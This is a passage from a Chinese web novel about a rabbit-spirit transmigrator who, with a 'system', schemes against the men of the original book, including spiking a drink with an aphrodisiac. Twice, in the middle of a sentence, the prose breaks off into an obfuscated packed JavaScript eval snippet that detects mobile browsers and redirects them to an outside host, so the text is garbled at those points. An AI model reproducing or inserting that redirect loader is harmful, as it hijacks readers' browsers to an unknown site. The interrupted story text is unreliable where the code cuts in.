“嗯,碰巧在院子里捡到一只兔子,不知道从哪里跑进来的。” 谭欢兔耳朵抖了抖,心里的惊慌淡了一分。 太好了,迟与非不知道兔子是他。 下一秒,刚落回肚子里的心又快蹦出去了。 迟与非拿起菜刀,走向谭欢。 “刚好不知道午饭吃什么,把这只兔子炖了吧。” 谭欢在料理台上疯狂打滚、扭动、抽搐,用比他在夜里哼哼唧唧时更大的声音疯狂喊叫。 “叽叽叽嗷嗷哇哇哇啊啊!!!” 我是谭欢!我是谭欢啊!!!!! 迟与非假装挂断根本没有拨出去的电话,用一小块姜塞住谭欢叽里呱啦的兔子嘴。 “吵死了,炖了你就安静了。” 迟与非松开绑着谭欢的领带,谭欢立刻用力踢蹬四肢,被迟与非轻易攥在手里镇压。 谭欢好好休息了一夜,这会儿精力充沛,奈何他现在和迟与非的体型差距过大,蜉蝣难撼大树。 突然,谭欢想起了什么,不再挣扎,反而抬爪给了自己的兔头一拳。 迟与非挑眉,正想看看这只兔子是不是吓傻了,烧热的汤突然不再滚动,锅上蒸腾飘动的热气如画片静止,锅下的火苗停止雀跃,时间被暂停了。 迟与非垂眸,假装被定住,不再动弹。 手里的小兔子蹦到料理台上,朦胧柔和的白光闪过,一个光裸的青年坐在料理台上。 谭欢一变回人就吐掉嘴巴里的生姜,转头拿起一根胡萝卜用力塞到迟与非嘴里。 “我让你堵我嘴!” 谭欢跳下料理台,光着身子站在迟与非面前,气得不停戳迟与非的胸膛。 “我让你绑我!” “我让你捏我!” 他戳得特别用力,迟与非的胸膛很硬,戳得谭欢手疼。 他气得浑身皮肤泛起粉红,在原地转来转去,将一堆乱七八糟的调料扔进锅里,锅里的汤汁逐渐变成诡异的黑色。 “我让你想炖我!吃死你!” 做完这一切谭欢仍不解气,他绕着迟与非走了两圈,突然手脚并用抱上去,挂在迟与非身上,低头咬住了迟与非的脖子。 他咬得特别用力,口中尝到血腥味才松嘴,有些心虚地看着迟与非颈边带着血的齿痕。 这要是被迟与非发现了就不好解释了,毕竟他是在时间暂停时咬的,这在迟与非看来就是鬼故事。 谭欢立起迟与非的衣领,粗糙地遮掩了一下。 咬完这一口谭欢的气终于消了,他知道自己不能再耽误了,转身光着屁股跑了,跑前还撂下一句狠话。 “迟与非!咱俩没完!” 谭欢没看到他一转身迟与非就眨了下眼睛。 迟与非看着两半圆滚滚的屁股跑出视野范围,用力咬断谭欢塞进他嘴巴里的胡萝卜,面无表情地咀嚼。 颈侧的血染到了衬衫上,迟与非碰了下刺痛的牙印,冷笑道: “确实没完。” 16.天堂啊~ 谭欢冲出别墅,在外面的草地中央找到了自己的紧身衣,他松了口气,更加确信迟与非不知道兔子是他。 他猜测昨夜他被发情期影响,跑出去不远就变成了兔子原型,又无意识跑出一段距离后晕倒,被迟与非捡了回去,迟与非肯定没看到他掉落的衣服,不然不会让那些衣服原封不动地扔在那里。 谭欢飞速穿上衣服,藏好兔耳朵和兔尾巴,从来时的墙角翻了出去。 别墅外,他的车还停在那里,大学生司机趴在方向盘上睡得正香。 谭欢上车,声音惊醒了大学生司机,他一脸惊喜地转过头: “老板!你可算出来了!我都担心死你了!你再不出来我都打算报警了!” 谭欢瘫在后座上,“先擦擦你的口水吧。” 大学生司机毫不尴尬地擦掉口水,继续彩虹屁,谭欢听了几句,催促大学生司机开车,并承诺给他三倍的工资。 大学生司机欢呼一声带谭欢离开,等谭欢回到家已经过了中午。 一夜惊魂,他快吓丢了魂,还差点被迟与非炖了,系统却从死机后没再发出过任何声音。 谭欢尝试在脑海里呼唤系统: [系统?系统?大强哥?你在吗?] 喊了十几声后,谭欢的脑海里响起一阵均匀的呼噜声,死机的系统早就开机了,只是睡死了睡香了,还打起了呼噜。 谭欢一阵咬牙切齿。 等系统睡饱清醒后,立刻发现他们已经回到了谭欢家,而谭欢正在……扔飞镖? 谭欢家里多了一个飞镖靶子,手边放着一个大筐,里面装满飞镖,飞镖靶上贴着一张大白纸,上面写着“统大强”三个字,已经被扎满了窟窿。 系统倒吸一口凉气。 听到动静,谭欢扔掉飞镖,轻柔询问:“大强哥,你醒啦?” 系统不敢应声,企图蒙混过关。 谭欢的声音更柔和了,“你知道昨晚都发生什么了吗?” 系统不敢知道,但又不能不问,[发生什么啦?我伟大、牛逼、厉害的宿主一定非常完美地完成了任务,并且顺利刷到了迟与非的恨意值!] “呵呵。”谭欢又拿起了飞镖。 他的脑海里传来“咚咚”的响声,[宿主我错了,我统大强给你磕头了,你就原谅小的吧!] 谭欢被逗笑了,其实他也知道系统会死机主要还是被他的发情期影响,也就没再揪着这件事不放,而是绘声绘色地把昨晚的一切包括今天差点被炖了的事情讲给系统听。 系统情绪价值给满,不停[啊啊哦哦]的回应。 讲完,谭欢喝光一杯水,期待地问: “系统,快看看迟与非的恨意值涨了多少?没超过50%我是不信的!” 系统也很期待,迅速查看迟与非的恨意值,然后陷入了长久的沉默。 谭欢:“说话呀!怎么不说话了!” 系统:[嗯……] 谭欢的笑容渐渐僵硬,“怎么啦?没到50%吗?没事,超过30%我也接受。” 系统:[可是……] 谭欢很不耐烦:“你快说啊!” 系统:[还是0%!!!] 谭欢:“……” 谭欢一屁股坐到地上,想到他一夜的屈辱,眼眶渐渐红了。 “这怎么可能?系统,你一定有BUG!” 系统不满:[我统大强是同届里最优秀的毕业生,怎么可能有BUG?宿主,你昨晚虽然没有被迟与非发现身份,可你到底还是被迟与非抓住了啊!虽然你运气好逃出去了,可抓住了就是抓住了,迟与非在书里是个超级大变态,我猜他大概不愿意浪费时间记恨一个能被他轻易抓住的笨蛋。] 系统说了一大堆,说完发现谭欢没出声。 系统立刻意识到不好,它这个宿主总是在一些莫名其妙的地方有着强烈的自尊心,比如非常不喜欢被叫笨蛋,它刚刚竟然说宿主是笨蛋! 果然,谭欢没有和系统争吵,他低着头,兔耳朵也蔫巴巴地垂着,红眸失去光彩,整只兔无精打采,像被抽走了灵魂。 系统:[QAQ宿主你别这样……] 谭欢轻轻抽了抽鼻子,“剧情任务又失败了……” 系统:[宿主是我错了!你别哭啊!] 谭欢抬手抹了抹眼睛,眼尾被他自己揉得通红,“系统,你说得对,我确实是个……” 系统:[不不不不不!宿主!是我的错!一定是我出BUG了!我这就自检一下!] 谭欢放下手,缓缓抬头,说完了剩下半句话: “我确实是个最优秀的王子!我就说了一定是你出BUG了!你还嘴硬!” 他除了眼尾被自己揉红了,没有一点要哭的意思,红眸里闪过狡黠,是只坏兔子。 系统:[……] 谭欢催促:“你快自检啊!” 系统:[宿主,你可真是……] 谭欢一脸期待:“嗯嗯嗯,是什么?” 系统:[是嘀嘀嘀嘀——] 谭欢的脑袋里响起了极为密集的嘀嘀声,嘀得他头疼,他拍了拍自己的脑壳,又捂住自己的兔耳朵,但系统是直接在他脑海里嘀嘀的,他不得不听。 谭欢一脸菜色:“系统,你别嘀嘀了,好吵啊。” 系统在谭欢脑海里刷了一排愤怒的表情包,嘀嘀得更大声更响亮更密集了。 作为一个合格的系统,它一直认为将宿主的一切需求放在第一位才是正确的,可此时系统特别想离经叛道,它特别想把自己的脏话屏蔽系统给黑了,好能畅快的痛骂谭欢一顿。 系统在谭欢脑海里嘀嘀了半个多小时,嘀嘀得谭欢双眼呆滞,差点被震成傻子。 等系统嘀嘀够了,谭欢脑海里终于响起了他十分期待的提示音。 [穿书系统已经进入自检,自检进度0%……] [20%……50%……80%……] [自检进度80%……] [自检进度80%……] [自检进度80%……] 谭欢脑门上缓缓蹦出一个问号,“系统,你的自检进度卡住了吗?” 坚信自己绝对没有BUG,自检只是为了堵住谭欢嘴的系统也露出了问号,[这……这怎么回事?我再重新加载一次。] 系统重新加载自检,进度条依旧卡在80%不再前进,之后无论系统重复几次结果都一样。 这回生无可恋的变成了系统。 [我我我难道真的有BUG?] 谭欢两只兔耳朵立起来,互相蹭蹭,得意之情溢于言表,“我说了你还不信。” 系统:[……] 系统:[…………] 系统:[………………QAQ呜哇哇哇哇……] 谭欢掏掏耳朵,赶紧制止系统,“好了别哭了,快想想怎么修复。” 系统:[呜呜,看来我统大强需要返厂维修一下了。] 谭欢挺期待:“修完是不是能把之前吞掉的恨意值都吐出来?” 系统已经失去了自信,[大概吧……呜呜呜,宿主,系统星离这里很远,我这一去大概一周,在这一周里,你一定要照顾好自己啊!] 谭欢挥手赶苍蝇一样赶系统:“知道了知道了,你安心地去吧!” 系统收起哭泣的声音,变回正经音调: [重点是在这一周里有两个剧情点任务,宿主你需要自己去完成了。] 谭欢一直任务失败刷不到迟与非的恨意值,他本来是有些失落的,但此时得知是因为系统有BUG,他重新变得干劲满满。 “什么剧情点?你放心,我一定顺利完成!” 系统:[一个很重要,另一个……可以不重要。] 谭欢:“可以不重要?” 系统没有解释,只是将重要的剧情点任务讲给谭欢。 [主角攻周洛辰家里一直在给他安排相亲对象,他不胜其烦又不得不应付,因此和主角受迟与非产生了一些嫌隙,周洛辰为此特意约迟与非出来解释,两个人情绪激动,都喝得有点多,而你需要在这时去给周洛辰下药。] “下药?毒药?这么狠?”谭欢瞪圆眼睛。 系统直截了当: [是春药!书中的谭欢想要借此机会和周洛辰酱酱酿酿,但他下药后立刻被迟与非发现了,与迟与非发生了争执,原谭欢便给了自己一巴掌,在周洛辰面前撒谎说他被迟与非打了,迟与非因此被周洛辰训了几句,导致迟与非更加憎恨原谭欢。] [宿主,你需要做的就是去下药,被迟与非抓住,扇自己嫁祸给迟与非,只要顺利完成这个剧情点任务就能获得迟与非的恨意值。] 谭欢点点头:“ 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原谭欢和这对龙凤胎关系很差,他们很少联系,谭欢自然也不会主动破坏人设去和他们联络感情。 此时两个小孩分别给他发了一堆消息,谭欢好奇地查看,发现是一些搞笑的动图和小视频。 他一个接一个往下看,小视频的画风突然变了。 前几秒视频里还是几只小狗憨憨傻傻,后几秒画面突然切到一个空房间,房间中央摆着一把躺椅,躺椅没人却在左右摇晃。 画面有些暗,谭欢凑近手机,躺椅晃动得越来越剧烈,一个倒吊的鬼脸突然从上面掉下来,放大贴到了屏幕上。 “咣。”谭欢的手机掉在了地上。 他被吓炸毛了,兔耳朵和兔尾巴上的茸毛蓬了起来。 同样被吸引了注意力的系统也被吓了一跳,在谭欢脑海里尖叫。 谭欢已经完全想不起来去追问系统了,他捡起手机就给两个熊孩子发了一长串愤怒的表情,然后收获了两个红色感叹号。 两个熊孩子已经把他拉黑了。 谭欢深吸一口气,原地蹦跶了几圈,将那个吓人的小视频转发给了迟与非。 迟与非正在工作,他从不会在工作时处理私人消息。 手机震动时他只是瞥了一眼,在看到消息来自谭欢后,迟与非微微眯眼。 他罕见地放下工作,打开了VX聊天框。 谭欢发了一段小视频过来,后面还跟着一句话: 【哈哈哈,这个真的好好笑哦!】 想到那只小兔饼,迟与非是半个字都不信。 下午的阳光很好,迟与非的办公室光亮透彻。 他穿着笔挺的西装,浑身上下一丝不苟,谁都不会知道在他西装下面,一侧的胸口贴着一只创可贴。 那是谭欢的杰作。 迟与非被工作抚平的心情瞬间阴了下去。 他点开视频,面无表情地看完了女鬼倒吊突脸,心率没有一丝波动。 谭欢很快收到了迟与非的回复,很莫名其妙。 【迟与非:晚上打气球?】 【谭欢:当然啊,咋,你嫉妒我的枪法?】 得到准确答案的迟与非叫来千万秘书,交给千万秘书一项重要的任务,加班费给了六位数,千万秘书茫然又快乐地去了。 没有再得到迟与非的回复,谭欢遗憾地放下手机,不知道迟与非有没有被女鬼吓得跳起来,要是当着所有下属的面跳起来就更好了。 晚上,谭欢照旧出门去打气球。 他是不抱太多希望的,他很怕气球摊的老板看到他就跑。 但今天很不一般,那些老板没有跑,他们压根没来。 以往热闹喧嚣、摊位品类丰富的夜市今晚大变样,全都变成卖吃食的,不等谭欢走近就闻到了一阵阵浓郁的肉香。 “好香啊,天堂啊~”他咽了咽口水,蹦蹦跳跳地跑过去。 一声声叫卖传入耳中。 “兔头,香香辣辣的兔头,买四个送一个呦~” “卖兔腿嘞!卖兔腿嘞!烤得油滋滋、香喷喷的兔腿嘞!” “冷吃兔!知名小吃冷吃兔!香不香我说了算,辣不辣你说了算~” 谭欢傻了,他站在无数卖兔肉的摊位中央,神情恍惚。 “地狱啊!” 17.迟与非! 谭欢失魂落魄地走回家,和系统一起叭叭夜市变兔肉展是不是和迟与非有关。 系统边哭边说:[应该没有关系,嘤嘤嘤,毕竟迟与非不知道你是兔子啊,嘤嘤嘤……] 谭欢翻他之前和迟与非的聊天记录,“可是他有问我是不是要去打气球。” 系统还是在哭:[嘤嘤嘤,肯定是巧合啦,说不定是那几个气球摊位老板看你不顺眼搞的复仇者联盟呐!] 谭欢呐喊:“你这个猜测更不靠谱啊!还有你能不能不要再哭了!” 系统:[嘤嘤嘤……我只是没办法接受我这么优秀的系统居然会有BUG……] 谭欢被系统哭得头疼,“只是返厂维修一下啦,很快就能回来的。” 系统:[呜呜呜嘤嘤嘤,宿主,我真的好担心你啊,没有我你可怎么办啊!] 谭欢撇了撇嘴,没说话,系统哭得更厉害了。 [呜呜哇哇哇,我听到了,我听到你说我没有用了!] 谭欢:“我没有说话!” 系统:[你想了!想了就等于说了!] 谭欢没有打到气球,又被系统哭得脑袋进水,他觉得始作俑者是那对龙凤胎,打算去找他们报仇。 系统的哭声立刻收了: [宿主,你打算找那两个小孩子报仇?怎么报?你是不是有了什么刷恶毒男配人设值的小妙招?你是不是打算在我走之前给我个小惊喜?] 谭欢笑眯眼睛:“嘻嘻……看我的。” 他买了两个小型呲水枪,灌满水藏在衣服里,去了谭大哥家。 谭大嫂开门,看到谭欢后脸色立刻变得很不好看,但还是让谭欢进门了,“小欢来了,是找你大哥的吧,我去叫他,你在客厅等一下。” 此时已是晚上,谭大哥家的三个孩子早就放学回家,正待在客厅里看动画片,一见到谭欢,那对龙凤胎立刻做贼心虚地蹿到老大谭日背后,露出小半张脸偷看谭欢,任谭日怎么推他们都不肯出来。 谭日板着小脸:“月星,快叫小叔叔!” 谭欢两只手插进衣服里,确定谭大哥谭大嫂都不在,拔出呲水枪冲着躲躲闪闪的龙凤胎疯狂发射水柱,两个小孩子尖叫闪躲,在沙发、茶几上跑来跑去,谭欢仗着自己个子比他们高,飞速拦截,呲得不亦乐乎哈哈大笑。 客厅的吵闹声很快引来了谭大哥和谭大嫂,谭欢听到两个人的脚步声,受到系统发布的下药剧情启发,灵机一动转手冲自己的脸疯狂呲水,然后把两支呲水枪扔到了龙凤胎的脚边。 谭大哥谭大嫂来到客厅就看到谭欢头发、衣襟全湿了,正狼狈地抹自己的脸,看到他们立刻委屈巴巴地告状: “大哥大嫂!谭星谭月欺负我!” 被谭欢的骚操作惊呆了的三个小孩傻了,反应过来后立刻扑向谭大哥谭大嫂,指着谭欢尖叫解释。 “爸爸妈妈!是小叔叔呲我们!是小叔叔干的!” “小叔叔是坏蛋,他冤枉我们!” 谭大哥谭大嫂也不是傻子,一看就知道是怎么回事,但谭欢一直是恶毒男配的形象,比起和谭欢因为这点小事争吵,他们更希望少些麻烦,赶紧把谭欢这尊瘟神送走。 谭大哥拍了拍龙凤胎的肩膀,正要充当和事佬,谭欢学着龙凤胎的样子,也指着他们把收到女鬼视频的事说了,告状告得绘声绘色,着重控诉了两个小孩还把他拉黑了这件事。 谭大嫂心里烦透了,又不能和谭欢撕破脸,扯着自己的三个小孩想躲回房间,谭欢不肯,他一脸坏人得意,要两个小孩把他的VX加回来。 两个小孩十分抗拒,最后还是被逼着加回了谭欢的VX,还被谭欢按头把备注改成了“我最帅气的小叔叔”。 谭欢看着两个小孩一脸崩溃的神情,怒刷了一波恶毒男配的人设值,得到了系统的彩虹屁和海豹鼓掌,只觉得神清气爽。 谭大嫂看不下去了,气得推开谭大哥上楼,谭大哥有些尴尬,“小欢,你……哎。” 楼上传来摔东西的声音,谭大哥无奈,“你在这里坐着,我上去看看你大嫂。” 谭大哥也走了,留下三个孩子坐在对面和谭欢大眼瞪小眼。 父母一走,龙凤胎立刻不哭了,小手用力一抹脸蛋,愤愤地把VX备注重新改回了“最讨厌的小叔叔”。 谭星用力踢开脚边的呲水枪,一指谭欢,大声嚷嚷: “小叔叔最讨厌了,小叔叔总是什么都做不好,总是给爸爸惹麻烦!” 谭月站在谭星身边:“妈妈说了,小叔叔这么大了还不工作,是社会败类!是啃老族!” 谭日赶紧去捂弟弟妹妹的嘴,两个小孩气坏了,仍旧在叫嚷: “小叔叔是大笨蛋!大坏蛋!” “小叔叔最烦人了!小叔叔你能不能不要总给别人添麻烦啊!大家都很忙的!” 系统在谭欢脑海里哇哇叫:[哇!宿主!你快教训这两个熊孩子!] 听到两个小孩子的指责,谭欢愣了一下,脑海里浮现出他三个哥哥烦躁的脸。 因为他的血脉驳杂又不稳定,副作用很多,总是给家里惹麻烦,次数多了,谁都会烦,特别是经常负责帮他收拾烂摊子的三个哥哥。 龙凤胎两张气呼呼的小脸在谭欢眼前逐渐变成了他哥哥们的样子,他们训斥他、指责他,一遍又一遍地问他: “小欢,你能不能不要总给别人添麻烦啊?” 谭欢低下头,从茶几上拿起一个苹果咬了一口,冲龙凤胎做了一个鬼脸,没再说什么,直接离开了。 回到家后谭欢变得很安静,本来怒刷了一波人设值是该高兴的,可谭欢只是在胡乱刷着手机。 他翻看龙凤胎的朋友圈,这两个小孩特别活泼也特别话痨,每天要发十几条朋友圈,每天都热闹得像在过年。 在今晚谭欢去谭大哥家前,两个孩子刚发了一条朋友圈,他们欢呼着期待下周赶紧到来,他们的好朋友要过生日,好朋友的父母包了最近很火的科幻虚拟乐园让他们尽情玩。 谭欢突然有点羡慕,他还去搜索了一下这个科幻虚拟乐园的信息,这是刚开业一年多的新兴乐园,坐落在一幢20层高的大厦顶楼。 “要不……等做完下一个剧情点任务,我也去玩一下吧?应该很好玩。”谭欢呢喃。 系统没注意到谭欢的不对劲,还在絮絮叨叨地叮嘱谭欢它不在的七天一定要多加小心,顺便夹杂几句对两个熊孩子的吐槽。 [那对龙凤胎的杀伤力也太小了吧!只会说一些讨厌你、大笨蛋的狠话,谁会被这种幼稚的狠话伤到啊!] 谭欢轻声说:“我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15125048|163355||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会啊。” 系统没有听清:[宿主你刚刚说什么?] 谭欢:“没什么,系统,你明天就要返厂了吧?” 系统:[准确地说是过了今晚12点就要去返厂啦!宿主,趁着我还在,你快练练下一个剧情点的台词吧!] 谭欢无精打采地拿出纸抄台词,抄完后干巴巴地读着。 12点一到,系统消音,已经返厂。 谭欢本来以为他不会在意,可等系统真走了,他叫了好几遍脑海里都没有任何声音回应后,他还是有些失落。 他捏着抄满台词的纸,摸了摸自己的兔耳朵,他的兔子血脉显化期快结束了,下一个血脉显化是什么他自己都不清楚,也控制不了。 谭欢小时候,他父亲总说等到时机成熟,谭欢也会像他一样做到完全控制自己的血脉,谭欢一直以为这个时机成熟是等到他成年,可直到他18岁了,20岁了,还是做不到。 后来,谭欢不敢再问父亲他什么时候能够控制自己的血脉,他怕看到父亲露出的那种小心翼翼怕伤到他自尊的表情。 谭欢蜷缩起来,小兔耳朵和小兔尾巴都那么无精打采。 “我知道的,我是笨蛋嘛。” 可是笨蛋也想得到认可,想被看见,想被夸奖啊。 他一定要得到迟与非100%的恨意值,他一定要夺得王位。 系统返厂维修后的第六天,终于到了下药剧情点任务的时间。 因为剧情里周洛辰约见迟与非的酒吧离谭欢家不远,谭欢没有叫大学生司机,自己打车去了,口袋里揣着抄满台词的纸条和贴着红通通“18-禁”标识的春药。 春药是他托原谭欢的那群狐朋狗友买的,特意要了超强效、超持久的那种。 这几天他很努力地背台词,还看了很多电视剧,学会了很多演技,自觉今晚的剧情点任务绝对万无一失! 他卡着点来到周洛辰和迟与非的包厢,剧情里,周洛辰会出去接一个电话,谭欢就要趁这个时机进去。 他躲在长廊转角,见周洛辰拿着手机出去了,立刻小跑过去,轻轻推开了包厢门。 迟与非这几天的生活像过去一样一潭死水、平静无波,他早就习惯了这样的生活,这几天却觉得哪里都不对。 谭欢那只蠢兔子不仅连着几天没有暂停时间,甚至没有出现在他面前蹦跶使坏。 迟与非数次叫来千万秘书,想让千万秘书去盯一下谭欢在做什么,每次又都忍住了。 他是不是有点太在意那只蠢兔子了。 迟与非晃着酒杯,看里面的冰块互相碰撞,听着冰块的撞击声,握着酒杯的手指逐渐用力,所有的事物都令他烦躁,他想将目之所及的一切都砸烂。 他面容沉静,黑眸里的疯狂却掀起了波澜。 这时,包厢门被推开,迟与非阴沉看去,在看到谭欢后,眸中阴鸷消散,酒杯后的唇角微微勾起。 酒杯里的冰块变得透亮好看,碰撞的声音也变得清脆悦耳。 蠢兔子蹦跶过来了。 包厢里的光线很暗,谭欢兔兔祟祟、探头探脑,视线锁定坐在沙发上的迟与非后,立刻昂首挺胸地走进去,自信满满地说出第一句台词: “迟与非!你这个不要脸的小妖精!又来勾引洛辰!” 18.我有一个问题 身高一八九、宽肩窄腰大长腿的小妖精迟与非黑眸锁定谭欢,静静地看他表演。 谭欢叉着腰等了一会儿,按照剧情,迟与非会对他冷笑、怒斥,说几句难听的话贬低他,可他等了又等,迟与非非但不说话,还看着他微笑,笑得谭欢浑身发毛。 “你、你看什么看!”谭欢没忍住说了一句台词以外的话。 迟与非没说话,放下酒杯,酒杯磕碰桌面,清脆的碰撞声却让谭欢抖了抖。 又来了!又来了!那种让他小动物本能发作,从尾椎骨战栗到头发丝的毛骨悚然,好像迟与非下一秒就会把他抓起来重新扔进锅里炖了。 迟与非没有错过谭欢那一下的颤抖,他为自己重新倒满酒,仍是不说话。 谭欢觉得自己好像一道下酒菜。 周洛辰出去的时间有限,他不能再耽误了,迟与非不接他的台词,他也得想办法把剧情演下去。 谭欢视线在桌子上扫过,寻找周洛辰的酒杯。 他以为周洛辰的酒杯一定在迟与非旁边,毕竟他们两个是书中的主角攻和主角受,结果谭欢在包厢的另一边发现了周洛辰的酒杯,周洛辰和迟与非坐得很远。 谭欢在迟与非的注视下,像被老师监视的小学生横着走了两步,刚进门时的气势全无。 迟与非低头含了一口酒,唇边的弧度藏不住了。 谭欢看到了,下意识在脑海里说:[系统!他一定是在嘲笑我!一定是的!] 脑海里许久没有传来系统的回应,谭欢想起系统返厂维修了,大概还有一两天才能回来。 以往谭欢总觉得系统吵,现在却很想念系统的絮叨。 他重新站直身体,挺胸抬头,回想着电视剧里学到的演技,用甩手大外八的姿势走向周洛辰的位置,坐了下去。 迟与非见谭欢坐到周洛辰的位置,唇边的笑意淡了下去,说了自谭欢进来后的第一句话。 “好久不见,自你从我家逃跑之后。” 谭欢一手插兜,抓着里面的春药瓶子,被迟与非的话吓了一跳,差点把春药瓶子扔出来,他立刻捂住口袋,又想起他本来就是要被迟与非发现的,便像小孩子假装不收大人红包一样,身体侧向一边,手指却撑开了自己的口袋,生怕迟与非看不到他口袋里贴着“18-禁”标识的小瓶子。 “我才不是逃跑!你污蔑我!”谭欢掏出台词小抄偷偷看了一眼,他和迟与非的对话完全没按照台词走! 他有些慌,他还要说原本的台词吗?还是直接下药就好了? 迟与非:“嗯,你没有逃跑,你只是在跟踪我。” 谭欢看向迟与非,又心虚又震惊,千万不能让迟与非怀疑他在做剧情点任务! “我跟踪你干嘛!你这个人好普信啊!我只是……我只是在跟踪洛辰!不是跟踪,我只是来找洛辰的!” “哦,大半夜潜进我家也是找周洛辰?”迟与非淡淡询问。 谭欢答不出来,他怕说多错多,便装没有听见。 他拿出春药瓶,拧开盖子,将里面的透明液体半遮半掩地倒进周洛辰的酒杯里。 包厢里光线暗,谭欢怕迟与非看不清或者不知道他在做什么,故意大声说: “哎呀!你别看我这边!我才没有做坏事!我才没有给洛辰下药!” “咣当。”小药瓶被谭欢非常“不小心”地掉在地上,咕噜噜滚到迟与非脚边。 迟与非放下酒杯,薄唇抿成一条直线,“你想跟周洛辰上床?” 谭欢下完药,走完重要剧情的第一步,刚有些放松,迟与非一句话就让他面红耳赤。 “我才没有要跟周洛辰上床……”他将那杯加料的酒推开,怒瞪迟与非,想反驳,又想到他的人设就是喜欢周洛辰的恶毒男配,硬生生把到嘴边的话憋了回去。 迟与非向后靠,上半身陷入阴影里,冷涔涔的视线落到谭欢身上,声音也冷冰冰的:“你不想跟周洛辰上床,为什么要给他下药?” 谭欢张了张嘴,半晌憋出来三个字:“要你管!” 他抓了抓头顶的小帽子,兔耳朵早就炸毛了,压在帽子里痒痒的,压在裤子里的兔尾巴也是,谭欢悄悄在沙发上蹭了蹭,缓解痒意。 “我当然不想管,跟我有什么关系?”迟与非语气越来越冲。 谭欢觉得迟与非有点莫名其妙,他看起来很生气,他还是第一次看到迟与非的情绪如此外放,他想了想,又恍然大悟,迟与非是主角受,他一定爱死了周洛辰,才会因为他给周洛辰下药这么生气,这对他来说是好事,方便他走剧情完成任务,一会儿他自扇巴掌陷害给迟与非,迟与非一定会气死,然后恨死他,给他猛猛涨恨意值。 谭欢想着,没忍住翘起嘴角笑了起来,“迟与非,你看起来很生气呀~” 迟与非外放的情绪瞬间收敛,语气变回平静,像喷涌的岩浆内流,看似平静,却在酝酿更可怕的爆发。 “谭欢,你就这么喜欢周洛辰。” 这时门外传来周洛辰的说话声和脚步声,谭欢立刻看向迟与非。 下一步,他需要扇自己一巴掌再嫁祸给迟与非,让周洛辰和迟与非发生争吵,可他现在坐在周洛辰的位置,距离迟与非很远,他在这里扇自己一巴掌,周洛辰怎么可能会信是迟与非打的? 脚步声越来越近,再犹豫就来不及了,谭欢站起来扑向迟与非。 自刚刚起,迟与非那边冷气就很重,阴森森的,谭欢扑得着急又忐忑,被桌子绊倒,摔在迟与非旁边的沙发上。 迟与非低头,谭欢只能看清他冷漠的嘴角。 包厢的门把手被转动,周洛辰要进来了! 谭欢立刻抬手给了自己一巴掌,一点声音都没有。 他第一次干这种事,没经验也没舍得用力打自己,轻飘飘地摸了一下自己的脸。 迟与非坐直身体,上半张脸从阴影里慢慢浮现,黑眸里映着趴在他面前的谭欢,似将谭欢看透。 “谭欢,你发什么癫?” 谭欢知道他这样打自己,脸上一点印子都没有,周洛辰肯定不信,他再次抬手,扬起脖颈,紧闭眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15128435|163355||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 睛,一脸视死如归的重重扇向自己。 巴掌没有落下,谭欢的手腕被迟与非攥紧,迟与非抬高手将谭欢拖到面前,再往前一点谭欢就会陷入迟与非的怀抱。 谭欢闻到了迟与非的气息,他平稳了好几天的发情期和假孕反应在身体里隐隐骚动。 他的兔子精血脉显化期快结束了,他以为发情期和假孕反应已经彻底消失了,原来不是,只是被上一次迟与非给予的安抚压下去了。 包厢门被推开一条缝隙,周洛辰站在门口。 迟与非力道很大,谭欢挣脱不开,他没办法再扇自己一巴掌。 谭欢急中生智,双膝往前蹭动,挺直腰肢,抱住迟与非的手,仰头将脸颊贴上迟与非攥着他手腕的手背,大喊道:“洛辰!救命啊!迟与非打我!他要打死我了!” 离得近了,谭欢看到迟与非衣领边有一圈淡淡的牙印,那是他逃跑之前咬的,他有些心虚地移开视线。 周洛辰低头看手机,本来都要进来了,手机又开始震动,他重新接起电话,把打开一条缝隙的包厢门重新关上了。 谭欢傻眼了,这和系统给的剧情不一样!周洛辰怎么没进来!他怎么有那么多电话要接啊! 主角攻走了,他也没有必要演下去了,这次的剧情点任务又失败了。 他到底什么时候能拿到迟与非的恨意值啊! 谭欢失落地松开迟与非的手 ,想从迟与非身上离开,却发现手腕仍被迟与非攥着。 迟与非另一只手撑住谭欢的腰压向自己,后背靠进沙发,仰头看被迫跪在他身上的谭欢,“演完了?” 太近了,迟与非的气息太多了。 迟与非掌控在谭欢后腰的手正在点燃他身体内的火苗。 “什么演啊,你在说什么?我听不懂。”谭欢膝盖跪在迟与非的大腿上,身体摇摇晃晃,很快摔坐在迟与非怀里,视线从居高临下变回仰视。 体内的潮热正在苏醒。 迟与非低头,靠近谭欢的耳朵,轻声说: “我有一个问题,需要你帮我解惑。” 谭欢不断推迟与非的肩膀,急速蹿起的发情期潮热让他的呼吸都变得滚烫,推拒迟与非的手变成搭在迟与非的肩膀上,手指紧紧攥住迟与非的衣服,昂贵的高定西装布料被谭欢抓出一片褶皱。 “前几天,你逃走后,我在院子里捡到一只兔子。” “我想炖了他,他却在我眼皮子底下消失了。” “奇怪的是,兔子在我身上留下一圈牙印,人的牙印。” “谭欢,你帮我想想,这个世界上有能变成人的兔子吗?” 迟与非松开谭欢的手腕,指尖勾住了谭欢的帽檐。 谭欢心脏狂跳,黑眸不受控制的变红,眼眶湿漉漉的,惊慌又无措。 他为自己辩解:“你、你在说什么啊?兔子怎么可能变成人呢?” 迟与非探入谭欢帽檐的指尖向下压了压,碰到一团软热的茸毛。 